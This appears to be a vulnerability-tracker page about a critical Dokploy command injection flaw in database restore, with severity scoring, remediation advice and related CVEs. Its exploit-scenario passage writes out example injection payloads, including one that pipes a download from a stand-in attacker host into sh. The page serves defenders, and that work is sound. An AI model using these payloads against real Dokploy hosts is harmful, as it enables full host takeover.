Skip to main content

Dokploy CVE-2026-72869

| EUVDEUVD-2026-55728 CRITICAL
Command Injection (CWE-77)
2026-08-10 GitHub_M
9.9
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Authenticate with backup:restore account
  2. Delivery
    Invoke restoreBackupWithLogs tRPC subscription
  3. Exploit
    Submit crafted databaseName payload
  4. Execution
    Host /bin/sh expands metacharacters before docker exec
  5. Persist
    Execute arbitrary commands in Docker-privileged host context
  6. Impact
    Full host compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires an authenticated Dokploy account that holds the backup:restore permission (CVSS PR:L confirms authentication is needed) and use of the backup.restoreBackupWithLogs tRPC subscription, where the attacker controls the databaseName parameter fed to the PostgreSQL, MariaDB, MySQL, or MongoDB restore builder. No user interaction is needed (UI:N) and it works against default configurations of affected versions (<0.29.13) - there is no special feature flag to enable. The limiting factors are the required backup:restore privilege (not available to anonymous or minimally-privileged users) and network reachability of the Dokploy control plane; there is no platform-specific or non-default-config constraint beyond running a vulnerable version with at least one database service configured.

Impact

All signals point to a genuine high priority. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9) reflects network reachability, low complexity, only low privileges, no user interaction, and a scope change - the injected commands execute in the Docker-privileged host context, i.e. escape from the application layer to full host control. The one meaningful gate is PR:L: the attacker must already hold an authenticated account carrying the backup:restore permission, which limits this to insiders or compromised operator accounts rather than fully anonymous internet attackers. No EPSS score and no KEV status were provided in the input, so widespread automated exploitation is neither confirmed nor ruled out; the absence of KEV suggests it is not currently known-exploited, and the privilege requirement argues for targeted rather than mass exploitation. The presence of injection-proving tests in the fix PR raises confidence that the vector is real and reliably triggerable.

Exploit ScenarioDerived

An insider or attacker who has phished a Dokploy account carrying backup:restore triggers a database restore and sets the target database name to a value like x$(curl attacker/x|sh) or ` xtouch /pwned `. When Dokploy builds the restore command, the host /bin/sh expands the payload before docker exec, executing the attacker's commands in the Docker-privileged host context. Given AV:N/AC:L, this is a single authenticated network request with no user interaction; the fix PR includes tests firing equivalent payloads, confirming the technique works.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 10, 2026

OS command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated user with the backup:restore permission run arbitrary commands on the Docker-privileged host. The backup.restoreBackupWithLogs tRPC subscription forwards an attacker-controlled databaseName into shell strings that Node.js exec passes to /bin/sh before docker exec, so the outer host shell expands injected metacharacters. Rated CVSS 9.9 with a scope change to the host; no public exploit identified at time of analysis, though the upstream fix PR ships regression tests containing working injection payloads.

RemediationAI

Vendor-released patch: upgrade to Dokploy 0.29.13, which rewrites the backup and restore command builders to pass database name, user, and password as shell-quote-escaped docker exec -e environment variables consumed inside a single-quoted inner script (see PR https://github.com/Dokploy/dokploy/pull/4862 and commit ccd2e83c57d99f725220d37e0152270e0827d71b). Upgrading is the only complete fix. If you cannot patch immediately, restrict the blast radius by removing the backup:restore permission from all but fully trusted operators and auditing which accounts currently hold it, and treat the Dokploy control plane as host-root-equivalent by placing its web interface behind a VPN or IP allowlist so account compromise is harder - the trade-off is that legitimate restore operations become manual/gated and remote administrative access is reduced. Do not rely on input validation of database names as a substitute for the upgrade, since crafting a robust denylist across four DB engines and two shell layers is error-prone. Advisory: https://github.com/Dokploy/dokploy/security/advisories/GHSA-f7mp-9jfp-mjrr.

Affected VersionsENISA

dokploy < 0.29.13

Affected Packages

euvd dokploy fix: 0.29.13

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Dokploy is a free, self-hostable Platform-as-a-Service (a Heroku/Vercel-style deployment layer) that orchestrates application and database containers via Docker. The vulnerable code in packages/server/src/utils/restore/utils.ts (and the parallel backups/utils.ts) builds restore/backup commands for PostgreSQL, MariaDB, MySQL, and MongoDB by string-interpolating user-supplied values (databaseName, user, password) directly into a docker exec ... bash -c "..." template. That template is handed to Node.js child_process exec, which spawns /bin/sh -c on the host; the host shell expands $(), backticks, and quote-breakouts in databaseName before docker even runs. This is a classic CWE-77 (Improper Neutralization of Special Elements used in a Command) issue caused by unescaped interpolation across two shell layers. The fix moves all user values into docker exec -e VAR=<shell-quote-escaped> environment variables referenced as "$VAR" inside a single-quoted inner script, so the values never appear inline in shell text.

Know when Dokploy gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 9.9 CRITICAL
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
vuln.today AI 9.9 CRITICAL

Network-reachable tRPC endpoint (AV:N/AC:L) requires a low-privilege backup:restore account (PR:L), no interaction (UI:N), and injected code escapes the container to the Docker-privileged host (S:C) with full C/I/A impact.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch available
Aug 10, 2026 - 20:04 EUVD
CVE Published
Aug 10, 2026 - 18:40 cve.org
CRITICAL 9.9

DescriptionCVE.org

Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the backup.restoreBackupWithLogs tRPC subscription passes the databaseName parameter to restore builders in packages/server/src/utils/restore/utils.ts, where PostgreSQL, MariaDB, MySQL, and MongoDB commands embed the value in nested shell text executed by Node.js exec. An authenticated user with backup:restore permission can supply a crafted databaseName that the host /bin/sh expands before docker exec, resulting in arbitrary commands running in the Docker-privileged host context. This issue is fixed in version 0.29.13.

Executive ViewAI

Why It Matters

Dokploy before version 0.29.13 contains a command injection vulnerability in its backup restoration feature that allows authenticated users with backup:restore permission to execute arbitrary commands on the underlying Docker host with full system privileges (CVSS 9.9). No public exploit identified at time of analysis. Organizations running this self-hosted PaaS risk complete infrastructure compromise, enabling unauthorized access to all hosted applications and data if restore permissions are granted to compromised accounts.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: Restrict backup:restore permission to only fully-trusted administrators; implement mandatory approval workflows for restore operations; monitor and audit all backup-related commands on Dokploy hosts; network-isolate Dokploy infrastructure to limit lateral movement if compromised; consider disabling backup restore functionality entirely if not actively required for business continuity procedures.

Threat Intelligence Overview

EPSS Score
0.4%
Top 72% exploitable
Prevalence
Low
niche self-hostable PaaS, mostly small-team and hobby deployments
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2026-72867 CRITICAL POC
9.9 Aug 10

Authenticated command injection in Dokploy (self-hostable PaaS) versions 0.29.3 through 0.29.12 lets a low-privileged us

CVE-2026-24841 CRITICAL POC
9.9 Jan 28

Dokploy self-hosted PaaS prior to 0.26.6 has a critical command injection vulnerability (CVSS 9.9) allowing authenticate

CVE-2026-24840 HIGH POC
8.0 Jan 28

Dokploy versions before 0.26.6 contain hardcoded database credentials in the installation script, causing nearly all dep

CVE-2026-129987 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets any user who can update a MySQL, PostgreSQL, MariaDB, Mong

CVE-2026-129989 CRITICAL
9.9 Nov 18

Authenticated users with create permission on an application in Dokploy versions prior to 0.31.1 can execute arbitrary c

CVE-2026-129986 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets a low-privileged member with file-mount create and delete

CVE-2026-129991 CRITICAL
9.9 Nov 18

Authenticated command injection in Dokploy before 0.31.1 lets an organization member holding backup permission on a sing

CVE-2026-129316 CRITICAL
9.9 Nov 18

Authenticated Dokploy organization members can break out of their tenant boundary and reach root on the Docker host: the

CVE-2026-72901 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated low-privilege member run arbitrary

CVE-2026-72735 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hosted PaaS) before 0.29.13 lets an authenticated panel user run arbitrary commands o

CVE-2026-45631 CRITICAL
10.0 May 29

Remote code execution in Dokploy 0.27.0 through 0.29.2 allows unauthenticated attackers to forge email-verification JWTs

CVE-2026-72902 CRITICAL
9.9 Aug 10

Command injection in Dokploy (self-hostable PaaS) before 0.29.13 lets an authenticated user run arbitrary OS commands on

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy